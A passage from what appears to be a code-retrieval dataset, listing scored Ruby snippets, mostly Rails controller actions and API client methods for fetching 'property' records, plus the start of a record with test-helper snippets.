"score": "0.68032545",
"text": "def show\n render json: @property\n end",
"title": ""
},
{
"docid": "4af2f83d16831a3a03af3e8f4eb5cfec",
"score": "0.677716",
"text": "def index\n @properties = @user.properties.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @properties }\n end\n end",
"title": ""
},
{
"docid": "5cbe46832695c83f9812afb69500d7bf",
"score": "0.6777144",
"text": "def get_property( propname )\n resp = conn.get('/users/'+name+'/props/'+propname+'/')\n \n case resp.code.to_i\n when 200\n return JSON.parse( resp.body )\n when 404\n case resp.header['resource-type']\n when 'user'\n raise RestAuthUserNotFound.new( resp )\n when 'property'\n raise RestAuthPropertyNotFound.new( resp )\n else\n raise RestAuthBadResponse.new( resp, \"Received 404 without Resource-Type header\" )\n end\n else\n raise RestAuthUnknownStatus.new( resp )\n end\n end",
"title": ""
},
{
"docid": "276b56740349da98ea33a70e512bf202",
"score": "0.6670462",
"text": "def show\n respond_to do |format|\n \tformat.html # show.html.erb\n \tformat.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "32cc8c77be13251f1c479f85f51741e6",
"score": "0.66638887",
"text": "def index\n @properties = Property.order(:id).page (params[:page])\n end",
"title": ""
},
{
"docid": "1a260141bab292e0625341d2be4dea1d",
"score": "0.6655435",
"text": "def show\n @property = Property.find(params[:id].to_i) rescue nil\n respond_to do |format|\n unless @property.blank?\n # to provide a version specific and secure representation of an object, wrap it in a presenter\n \n format.xml { render :xml => property_presenter }\n format.json { render :json => property_presenter }\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"title": ""
},
{
"docid": "2db668e73414e9338a9613a99110a193",
"score": "0.6653962",
"text": "def relationship_get_all_props id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id + '/properties', headers\n end",
"title": ""
},
{
"docid": "a0162c2945712a15615cd11f55be34c5",
"score": "0.6646788",
"text": "def index\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "a0162c2945712a15615cd11f55be34c5",
"score": "0.6646788",
"text": "def index\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "a0162c2945712a15615cd11f55be34c5",
"score": "0.6646788",
"text": "def index\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "a0162c2945712a15615cd11f55be34c5",
"score": "0.6646788",
"text": "def index\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "a0162c2945712a15615cd11f55be34c5",
"score": "0.6646788",
"text": "def index\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "a0162c2945712a15615cd11f55be34c5",
"score": "0.6646788",
"text": "def index\n @properties = Property.all\n end",
"title": ""
},
{
"docid": "f287f70dcdb256bc5d02575d299456db",
"score": "0.66450965",
"text": "def show\n authorize_action_for @property, at: current_store\n\n respond_to do |format|\n format.json { render json: @property.product_properties, status: 200 }\n format.html\n end\n end",
"title": ""
},
{
"docid": "ab99f75e9c21911bedb9f5e367a5904e",
"score": "0.6644562",
"text": "def index\n @properties = current_user.properties.order(:id => :desc)\n render \"index.json.jb\"\n end",
"title": ""
},
{
"docid": "48f78b03c8fc74909443512bc06b75eb",
"score": "0.66147786",
"text": "def index\n\t\t@properties = Property.all\n\tend",
"title": ""
},
{
"docid": "583a2c1d4ab82d097181acc53215046d",
"score": "0.6590978",
"text": "def featured\n properties = []\n begin\n # Tenta pegar 3 propriedades com a flag de prioridade\n Property.where(priority: true, status: :active).order(\"RANDOM()\").limit(3).each {|p| properties << p}\n # Verifica quantas propriedades faltam pra completar 3\n missing = 3 - properties.count\n # Pega as propriedades faltantes caso existam\n Property.where(status: :active).order(\"RANDOM()\").limit(missing).each {|p| properties << p} if missing > 0\n\n @api_v1_properties = properties\n\n render template: '/api/v1/properties/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6c86a136c957fdceb9eca565bf9b9f4f",
"score": "0.65827906",
"text": "def show\n @location_property = LocationProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_property }\n end\n end",
"title": ""
},
{
"docid": "7661794ea0c94b9cb21f2b78ae33c6b7",
"score": "0.65808636",
"text": "def properties_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PropertiesApi.properties_get ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling PropertiesApi.properties_get\"\n end\n # resource path\n local_var_path = '/v1/properties/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DomainPublicAdapterWebApiModelsV1PropertiesProperty')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PropertiesApi#properties_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "02e49e571c780dc5f60ff93336570520",
"score": "0.6560614",
"text": "def index\n @current_api_v1_user = current_api_v1_user\n @api_v1_properties = Property.all\n end",
"title": ""
},
{
"docid": "083b12ee62292d810dbeb8f583e6b1e7",
"score": "0.65564406",
"text": "def properties\n # vendor = Vendor.find(params[:vendor_id])\n search_params = { vendor_id: params[:vendor_id].to_i, results_per_page: 150 }\n search_params[:p] = params[:p].to_i if params[:p]\n pd = PropertySearchApi.new(filtered_params: search_params )\n pd.query[:size] = 1000\n results, status = pd.filter\n results[:results].each { |e| e[:address] = PropertyDetails.address(e) }\n response = results[:results].map { |e| e.slice(:udprn, :address) }\n response = response.sort_by{ |t| t[:address] }\n #Rails.logger.info \"sending response for vendor properties -> #{response.inspect}\"\n render json: response, status: status\n end",
"title": ""
},
{
"docid": "ea03c6d83128a10a4dfe6b0d2b05156b",
"score": "0.65524054",
"text": "def show\n @property = Property.find(params[:id])\n @json = @property.to_gmaps4rails\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "87d5d938cf44bb2f018ea211c5a2b73d",
"score": "0.65498793",
"text": "def show\n @property_field = PropertyField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_field }\n end\n end",
"title": ""
},
{
"docid": "64f5b00040bedf8174a065b88fa0c6e5",
"score": "0.6544223",
"text": "def property_keys\n headers = { 'Accept' => 'application/json; charset=UTF-8' }\n get_request 'propertykeys', headers\n end",
"title": ""
},
{
"docid": "39e1959980c4fdec53696b01a6ee1d59",
"score": "0.64877087",
"text": "def get_property(*args)\n return unless alive?\n\n command(\"get_property\", *args)[\"data\"]\n end",
"title": ""
},
{
"docid": "7faec0220c5c33b36c653493aaae9244",
"score": "0.6484933",
"text": "def index\n properties = current_user.properties\n\n if properties.any?\n render status: 200, json: { properties: properties.to_json }\n else\n render status: 404, json: { error: 'You have no properties' }\n end\n end",
"title": ""
},
{
"docid": "396f42b0432587b75da427569af9a1e5",
"score": "0.64826417",
"text": "def show\n @quick_property = QuickProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quick_property }\n end\n end",
"title": ""
},
{
"docid": "a34042dabe62678f0b511c77b871e90d",
"score": "0.647743",
"text": "def index\n @properties = Property.get_all(params[\"city\"], params[\"country\"])\n end",
"title": ""
},
{
"docid": "37e03fdbfdb42ba0748c08c27d32e480",
"score": "0.64766514",
"text": "def get_property\n @xml = client.call(url).parsed_response.css('property').first\n @attributes.merge!(parse_xml_to_hash)\n end",
"title": ""
},
{
"docid": "30d62ffdaacadbb09324d6645112a1cc",
"score": "0.64677584",
"text": "def show\n @property_details = PropertyDetail.find_by_property_id(params[:id])\n end",
"title": ""
},
{
"docid": "f92062eb83ef5363aa6d1d8fdad43e77",
"score": "0.64646864",
"text": "def index\n @props = Prop.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @props }\n end\n end",
"title": ""
},
{
"docid": "8adf410abc670cbc68ca9888d5750be9",
"score": "0.64596176",
"text": "def properties_get(opts = {})\n data, _status_code, _headers = properties_get_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "e1180c5e36b4df617cd800095fc5c1da",
"score": "0.6441866",
"text": "def show\n @property_user = PropertyUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_user }\n end\n end",
"title": ""
},
{
"docid": "aa565fa2baed453cdc7a89d60580babe",
"score": "0.6426041",
"text": "def properties(path, property_names)\n result = properties_for_path(path, property_names, 0)\n if result[0].key?(200)\n return result[0][200]\n else\n return []\n end\n end",
"title": ""
},
{
"docid": "a02315bcf62d8877f3495405ceb391b6",
"score": "0.6380217",
"text": "def index\n @properties = Property.find(:all, :order => 'name')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @properties.to_xml }\n end\n end",
"title": ""
},
{
"docid": "8bd7ae30fccffdda1c9e7642cac9de7d",
"score": "0.6370084",
"text": "def get_by_property\n @api_v1_reservation = current_api_v1_user.properties.find(params[:id]).reservations\n render template: '/api/v1/reservations/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end",
"title": ""
},
{
"docid": "5c6d1941f59c5fee08808dfd2c2406e8",
"score": "0.6343601",
"text": "def index\n @client_properties = ClientProperty.all\n end",
"title": ""
},
{
"docid": "355ac013d84b9ea7563690c5aa7a93d8",
"score": "0.63296914",
"text": "def get_property(name, default= \"\")\n\t\treturn @transport.get_path(\"meta\",\"properties\", name) { default }\n\tend",
"title": ""
},
{
"docid": "5e9dc6aa972e7ae891fa95e038527695",
"score": "0.6328447",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @property }\n end\n end",
"title": ""
},
{
"docid": "2170189b81b1eb89c3d0ba8a56fb3d4b",
"score": "0.62989116",
"text": "def details\n @estate_agent = EstateAgent.find(params[:id])\n @property = Property.where(\"estate_agent_id = ? and id = ?\", @estate_agent.id, params[:id2])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "db98b3315679e5010dac2e5337e06cdd",
"score": "0.62954384",
"text": "def index\n @properties = Property.with_deleted.where(id: AccessResource.get_ids(resource_klass: 'Property', user: current_user))\n @properties = @properties.where(deleted_at: nil) unless params[:trashed].to_b\n @properties = @properties.where.not(deleted_at: nil) if params[:trashed].to_b\n @last = @properties.try(:last).try(:id) || 0\n if params[\"purchased\"]\n if ((params[\"purchased\"][\"accepted\"] == \"1\") && (params[\"prospective_purchase\"][\"accepted\"] == \"1\"))\n elsif ((params[\"purchased\"][\"accepted\"] == \"0\") && (params[\"prospective_purchase\"][\"accepted\"] == \"0\"))\n @properties = @properties.where.not(ownership_status: ['Prospective Purchase', 'Purchased'])\n else\n @properties = @properties.where(ownership_status: 'Purchased') if params[\"purchased\"][\"accepted\"] == \"1\"\n @properties = @properties.where(ownership_status: 'Prospective Purchase') if params[\"prospective_purchase\"][\"accepted\"] == \"1\"\n end\n end\n @properties = @properties.order(created_at: :desc).paginate(page: params[:page], per_page: sessioned_per_page)\n @activeId = params[:active_id]\n \n render template: 'properties/xhr_list', layout: false if request.xhr?\n end",
"title": ""
},
{
"docid": "d3716fbc9081ddb4fe1d7982ad0cabf6",
"score": "0.62832725",
"text": "def show\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propose }\n end\n end",
"title": ""
},
{
"docid": "e205e63d5387df8673aa9d452b2bc8d1",
"score": "0.62685233",
"text": "def fetch_property(name)\n properties.where(\"name = ?\", name).first\n end",
"title": ""
},
{
"docid": "81370bd6782c77e136fae1005adbec15",
"score": "0.626072",
"text": "def search\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end",
"title": ""
},
{
"docid": "6c0e7f52cfa5605abe7bbd3386d9d0dc",
"score": "0.6238681",
"text": "def get_property _property\n send_cmd(\"get_property #{_property}\")\n end",
"title": ""
},
{
"docid": "4c1e0d7b241f3883aa956f779516d65e",
"score": "0.6218793",
"text": "def index\n properties = current_user.properties\n respond_to do |format|\n format.json { render :json => jsonp(properties_to_json(properties)) }\n format.xml { render :xml => properties_to_xml(properties) }\n format.text { render :text => text_not_supported }\n end\n end",
"title": ""
},
{
"docid": "a28d8ca042edfde083324bb7e4054437",
"score": "0.62004596",
"text": "def get_property(property_name)\n command(\"get_property\", property_name)\n end",
"title": ""
},
{
"docid": "26c8c34954f8918c1127782edde2fdb1",
"score": "0.61994255",
"text": "def property_params\n params[:property]\n end",
"title": ""
},
{
"docid": "5bd2d865762a3d8e5f85d11e59306661",
"score": "0.6195819",
"text": "def set_api_v1_property\n @api_v1_property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "9dfaac4eb23d5e90847bd0f9e6f7a1f2",
"score": "0.6193166",
"text": "def index\n @properties = @user.properties.all\n # if params[:search]\n # @properties = @user.properties.search(params[:search], params[:page]).order(\"created_at DESC\")\n \n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @properties }\n # end\n # else\n # @properties = Property.order(\"created_at DESC\")\n # end\n\n end",
"title": ""
},
{
"docid": "70180cabc244f05c4b0ed4549ef14999",
"score": "0.61847085",
"text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @property.to_xml }\n end\n end",
"title": ""
},
{
"docid": "61299fc384c7270c1d1d8e03bf5e97ce",
"score": "0.61841655",
"text": "def index\n @properties = Property.all\n authorize @properties\n end",
"title": ""
},
{
"docid": "70b27ff0acf6de504ac8afac83261b65",
"score": "0.6179005",
"text": "def get_properties_with_http_info(uuid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectPropertyApi.get_properties ...'\n end\n # verify the required parameter 'uuid' is set\n if @api_client.config.client_side_validation && uuid.nil?\n fail ArgumentError, \"Missing the required parameter 'uuid' when calling ProjectPropertyApi.get_properties\"\n end\n # resource path\n local_var_path = '/v1/project/{uuid}/property'.sub('{' + 'uuid' + '}', CGI.escape(uuid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<ProjectProperty>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectPropertyApi#get_properties\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "83246418ead34dc4ce87fb0d7906f597",
"score": "0.617014",
"text": "def get_prop(values)\n cmd = \"{\\\"id\\\":1,\\\"method\\\":\\\"get_prop\\\",\\\"params\\\":[#{values}]}\\r\\n\"\n request(cmd)\n end",
"title": ""
},
{
"docid": "98afd050281f1766dc04ae6caf234984",
"score": "0.6166904",
"text": "def show\n @property_picture = PropertyPicture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_picture }\n end\n end",
"title": ""
},
{
"docid": "c48807e60b883fb1db2ce1577c2a439b",
"score": "0.6158392",
"text": "def properties_get(id, opts = {})\n data, _status_code, _headers = properties_get_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "673ebb8d14698673fd3903a3fb7a92ec",
"score": "0.61419666",
"text": "def index\n if params[:ax] && params[:ay] && params[:bx] && params[:by]\n @properties = Property.find_by_coordinates(\n upper_x: params[:ax],\n upper_y: params[:ay],\n bottom_x: params[:bx],\n bottom_y: params[:by]\n )\n else\n @properties = Property.all #in this case is much necessary to implement pagination system\n end\n\n respond_with :api, :v1, @properties, status: :ok\n end",
"title": ""
},
{
"docid": "d533f667ddfd2bd4cdaf25aa4da4a7ee",
"score": "0.6120921",
"text": "def query\n @property_hash\n end",
"title": ""
},
{
"docid": "0f813bbb061600c959fce0205ebc46e3",
"score": "0.6116127",
"text": "def get_properties\n \n begin\n \n if @filename == ''\n raise 'Base file not specified.'\n end\n \n str_uri = $product_uri + '/slides/' + @filename + '/documentProperties'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = RestClient.get(signed_str_uri,{:accept=>'application/json'})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash['Code'] == 200)\n return stream_hash['DocumentProperties']['List']\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"title": ""
},
{
"docid": "dc3fd3edf541a8100dcba02648717c39",
"score": "0.6111324",
"text": "def property_details\n details = VendorApi.new(params[:udprn].to_i, nil, params[:vendor_id].to_i).property_details\n render json: details, status: 200\n end",
"title": ""
},
{
"docid": "a9c9cad23089f6990aeaa290ea8a40bc",
"score": "0.61034876",
"text": "def show\n @property_image = PropertyImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_image }\n end\n end",
"title": ""
},
{
"docid": "7ad41fa28d924c8ce782105d4c55bc18",
"score": "0.6086981",
"text": "def index\n @property = Property.all\n end",
"title": ""
},
{
"docid": "925e71cffc2b3abdfec17ef9b3a08e2a",
"score": "0.6082867",
"text": "def show\n #@property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @property }\n end\n end",
"title": ""
},
{
"docid": "7dc7990737aaa1c7ed48f05f957d58ae",
"score": "0.6079447",
"text": "def show\n @property = Property.find(params[:id])\n\n do_search(@property.number_of_rooms, @property.location)\n @properties.delete @property\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "7638a5882c8d8b573861c00cd83082ca",
"score": "0.60776097",
"text": "def get_property property_name\n\n begin\n\n if property_name == ''\n raise 'Property name not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/documentProperties/' + property_name\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n stream_hash['Code'] == 200 ? stream_hash['DocumentProperty'] : false\n\n rescue Exception => e\n print e\n end\n\n end",
"title": ""
},
{
"docid": "de1b313df825da4bfd6ae43453610bbc",
"score": "0.60721993",
"text": "def index\n # @properties = Property.all('date') ## Who put this in? What is ('date') intended to do ?\n @properties = Property.all\n respond_to do |format|\n format.html {} # do nothing - this is the default. display as normal html\n format.json {render :json => @properties}\n end\n end",
"title": ""
},
{
"docid": "cee6d423f0b40ec6c276752b5a2c2f2f",
"score": "0.60709345",
"text": "def get_properties(options={})\n return send_message(SkyDB::Message::GetProperties.new(options))\n end",
"title": ""
},
{
"docid": "b5dd4854bfb3359861435d1eed593294",
"score": "0.60479635",
"text": "def show\n format = params[:format] || 'json'\n data = @container.config.get_properties(flavor: :public, format: format)\n\n render response_ok data\n end",
"title": ""
},
{
"docid": "1bf7355d817665aab3665dc503d9eb7b",
"score": "0.60446495",
"text": "def get_property(property, data, uri = nil, is_url: false, single: true, &block)\n values = data ? data[property] : nil\n if values.is_a?(Array)\n values = values.map { |value| get_property_value(value, is_url: is_url, &block) }\n single ? values[0] : values\n else\n value = get_property_value(values, is_url: is_url, &block)\n single ? value : [value]\n end\n end",
"title": ""
},
{
"docid": "c882a01f49d30b8b716a698ad7359b53",
"score": "0.6039249",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property }\n end\n end",
"title": ""
},
{
"docid": "3b52a5011639fd1d7582aeb3ed441379",
"score": "0.60312104",
"text": "def get_param(name, property)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n raise('wrong type: String required') unless property.is_a?(String)\n raise('wrong value: property must be valid') unless !property.nil? && !property.empty?\n\n r = @client.post({\n 'action' => 'getparam',\n 'object' => 'htpl',\n 'values' => '%s;%s' % [name, property],\n }.to_json)\n\n JSON.parse(r)['result']\n end",
"title": ""
},
{
"docid": "9de227565115aa69b37d78504f461353",
"score": "0.6029796",
"text": "def set_api_v1_property\n @api_v1_property = Property.find(params[:id])\n end",
"title": ""
},
{
"docid": "fde4b8af10b71b584c6aa33373630c79",
"score": "0.601801",
"text": "def property_properties\n _property_properties\n end",
"title": ""
}
] |
861ac246cfb12178a9f509e63123a0c8
|
Just go through each method linearly and make sure it works.
|
[
{
"docid": "94b5e6634f1b7c70efb6981d5e84914b",
"score": "0.5700301",
"text": "def test_each_method\n zone = mkzone(\"methodtesting\")\n dirs = %w{/usr /sbin /lib /platform}\n\n %w{/opt/csw}.each do |dir|\n dirs << dir if FileTest.exists? dir\n end\n zone[:inherit] = dirs\n\n [[:configure, :configured],\n [:install, :installed],\n [:start, :running],\n [:stop, :installed],\n [:uninstall, :configured],\n [:unconfigure, :absent]\n ].each do |method, property|\n Puppet.info \"Testing #{method}\"\n current_values = nil\n assert_nothing_raised {\n current_values = zone.retrieve\n }\n assert_nothing_raised {\n zone.provider.send(method)\n }\n current_values = nil\n assert_nothing_raised {\n current_values = zone.retrieve\n }\n assert_equal(property, current_values[zone.property(:ensure)], \"Method #{method} did not correctly set property #{property}\")\n end\n end",
"title": ""
}
] |
[
{
"docid": "d2386be050ee209a108b79d4b2b01003",
"score": "0.62370086",
"text": "def correct_all\n #compare iteration\n\n end",
"title": ""
},
{
"docid": "f7ffa96cefc070fb551f7d47daf0f50c",
"score": "0.6182525",
"text": "def verify_stubbed_calls\n failed_stubs = []\n @stack.each do |method, stubs|\n next if stubs.empty?\n\n failed_stubs.concat(\n stubs.map do |stub|\n \"Expected #{method} #{stub}.\"\n end\n )\n end\n raise failed_stubs.join(' ') unless failed_stubs.empty?\n end",
"title": ""
},
{
"docid": "f5cd63c6713f5419967bf7b04dbb87a1",
"score": "0.59290755",
"text": "def untested(method_name); end",
"title": ""
},
{
"docid": "ab93b337228d238b55448f0337dfe9f9",
"score": "0.5911637",
"text": "def __verify\n if @next_call != @mock_calls.length\n raise RUNIT::AssertionFailedError,\n \"not all expected method calls were made to #{@name}\",\n caller\n end\n end",
"title": ""
},
{
"docid": "351d6b035a75ce301f020861a1907560",
"score": "0.58921397",
"text": "def check; end",
"title": ""
},
{
"docid": "1d57c11ac0df9e2cf265aed445cebd0b",
"score": "0.5824197",
"text": "def verify_methods(test_data)\n test_methods = test_data[CoreUseOfCollectionsData::METHOD_LIST.name]\n test_methods = [{CoreUseOfCollectionsData::METHOD.name => ''}] unless test_methods\n test_methods.each_with_index { |test_method, index| verify_values_match(test_method[CoreUseOfCollectionsData::METHOD.name], element_value(method_input index)) }\n end",
"title": ""
},
{
"docid": "86ae8b1a9add7954330f8551e18628d9",
"score": "0.58140934",
"text": "def test_interfaces\n # collect methods implemented only in GameBasebot\n aa = GameBasebot.instance_methods(false)\n unsupp = []\n alg_int = AlgCpuPlayerBase.new\n AlgCpuPlayerBase.instance_methods(false).each do |m|\n if m =~ /onalg/\n if aa.index(m)\n #puts \"Method #{m} supported\"\n else\n puts \"Method #{m} UNSPORRTED\"\n unsupp << m\n end\n end\n end\n # usupported must be 0\n assert_equal(0,unsupp.size)\n end",
"title": ""
},
{
"docid": "7b97af203e55c255468f957554369644",
"score": "0.57678425",
"text": "def check_third_rule\n total_method_calls = @data[:method_calls].size\n\n proper_method_calls = @data[:method_calls].inject(0) do |sum, params|\n sum += 1 unless params.first > 4\n sum\n end\n\n missindented_methods_amount = 0\n @data[:missindented_methods].each_pair do |klass, methods|\n missindented_methods_amount += methods.size\n end\n\n if total_method_calls > 0\n puts \"#{proper_method_calls * 100 / total_method_calls}% of methods calls accepts are less than 4 parameters.\"\n else\n puts \"Seems like there no method calls. WAT?!\"\n end\n end",
"title": ""
},
{
"docid": "505f7357dd0cc81d458ffbb3c3c7da9b",
"score": "0.5763648",
"text": "def iterating_method?(name); end",
"title": ""
},
{
"docid": "dbc4581d32603fc824a0ce101a7341dd",
"score": "0.57099277",
"text": "def everything\n raise NoMethodError\n end",
"title": ""
},
{
"docid": "dbc4581d32603fc824a0ce101a7341dd",
"score": "0.57099277",
"text": "def everything\n raise NoMethodError\n end",
"title": ""
},
{
"docid": "d6dfd8c601b769c178ff51a84bd357dd",
"score": "0.5700839",
"text": "def valid_using_other?(methods)\n valid = true\n methods.each do |method|\n valid = false unless send(method)\n end\n valid\n end",
"title": ""
},
{
"docid": "0b4b414f02f43193303ed087b523373f",
"score": "0.56713796",
"text": "def verify_stubbed_calls; end",
"title": ""
},
{
"docid": "a29ccf5104a36e90daf739a9e5586ddf",
"score": "0.5662707",
"text": "def invoke_all; end",
"title": ""
},
{
"docid": "a9ac90c93b8987c3f53bb45c90145a0e",
"score": "0.56610817",
"text": "def enforce_methods\n [:pre, :execute, :overwrite, :overwrite=, :file, :to_disk].each do |method|\n next if @klass.method_defined? method\n raise FactoryException, \"Error missing method #{@klass.to_s}##{method}\"\n end\n end",
"title": ""
},
{
"docid": "585408afc1ccfd8e8e6ba480828e2337",
"score": "0.5626142",
"text": "def test_common_methods\n subjects = @collections - @common_methods_exceptions\n subjects.each do |klass|\n obj = klass.new\n assert obj.respond_to?(:all), \"#{klass} should have an .all method\"\n assert obj.respond_to?(:get), \"#{klass} should have a .get method\"\n assert obj.respond_to?(:each), \"#{klass} should behave like Enumerable\"\n end\n end",
"title": ""
},
{
"docid": "ad2eee73a66f867094c236c55fd110dc",
"score": "0.5606336",
"text": "def test_common_methods\n subjects = @collections - @common_method_exceptions\n\n subjects.each do |klass|\n obj = klass.new\n assert obj.respond_to?(:all), \"#{klass} should have an .all method\"\n assert obj.respond_to?(:get), \"#{klass} should have a .get method\"\n assert obj.respond_to?(:each), \"#{klass} should behave like Enumerable\"\n end\n end",
"title": ""
},
{
"docid": "e66c3e6966b775d1799a6b8fed500121",
"score": "0.5589992",
"text": "def check()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "f16058f4c2ff1a02951e298da43a1e6a",
"score": "0.55729496",
"text": "def setup_test_stage\n say \"Checking common problems \"\n failed = false\n all_test_methods.sort.each do |test|\n begin\n send(test)\n print_dot unless failed\n true\n rescue => e\n say \"\\n\" unless failed\n failed = true\n paragraph{ error e.message }\n false\n end\n end.tap do |pass|\n success(' done') if !failed\n end\n\n true\n end",
"title": ""
},
{
"docid": "72eeb33a88bba04496201b944cfecbf3",
"score": "0.55615425",
"text": "def test_api_mimics_methods\n assert @all.collect {|node| node.leaf?}.uniq[0]\n nopass = true\n @all.each {|node| node.each {|node| nopass=false}}\n assert nopass\n @all.each {|node| []==node.children}\n end",
"title": ""
},
{
"docid": "4c6410f316e75b25f95848e54e28dd43",
"score": "0.5552449",
"text": "def run_tests()\n check_solution(1, 25, 12, true)\n check_solution(2, 7, 11, true)\n check_solution(3, 30, 9, false)\n check_solution(4, 6, 24, false)\nend",
"title": ""
},
{
"docid": "fe0577fb1b2e2c4e43b0676d2ec0a91f",
"score": "0.5545046",
"text": "def without_method_checks\n @skip_method_checking = true\n yield\n @skip_method_checking = false\n end",
"title": ""
},
{
"docid": "8ef3de06a8e4bee6dd3f0a3d67086c08",
"score": "0.55348337",
"text": "def test\n 10000.times do |i|\n puts \"try #{i}\"\n picks = make\n puts picks.inspect\n picks.each do |picker, pickee|\n raise \"Invalid found\" if picker == pickee\n raise \"Invalid found (previous)\" if previous_pick_for(picker) == pickee\n end\n end\n end",
"title": ""
},
{
"docid": "2099e70897e7f45ea87d27def5c26979",
"score": "0.5533048",
"text": "def test_reroll\n\t\t[\"execute_reroll_1\", \n\t\t \"execute_reroll_2\", \n \"execute_reroll_3\", \n \"execute_reroll_4\", \n \"execute_reroll_5\", \n\t\t \"execute_reroll_6\"].each { |fcn|\n\t\t\tbegin\n\t\t\t\teval fcn\n\t\t\trescue\n\t\t\t\tbegin\n\t\t\t\t\tputs \"#{fcn} retry 1\"\n\t\t\t\t\teval fcn\n\t\t\t\trescue\n\t\t\t\t\tbegin\n\t\t\t\t\t\tputs \"#{fcn} retry 2\"\n\t\t\t\t\t\teval fcn\n\t\t\t\t\trescue\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tputs \"#{fcn} retry 3\"\n\t\t\t\t\t\t\teval fcn \n\t\t\t\t\t\trescue\n\t\t\t\t\t\t\tputs \"#{fcn} retry 4\"\n\t\t\t\t\t\t\teval fcn\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend",
"title": ""
},
{
"docid": "edd5d23e0d7042e5e542e9b04934c6b0",
"score": "0.5532565",
"text": "def ignoring_method_signature_failure!; end",
"title": ""
},
{
"docid": "121d9f804d46b6c9fb6ae88719e5fd55",
"score": "0.55118823",
"text": "def all()\n not_implemented()\n end",
"title": ""
},
{
"docid": "60489bec5e9f02d3d6051fab01dad656",
"score": "0.54911107",
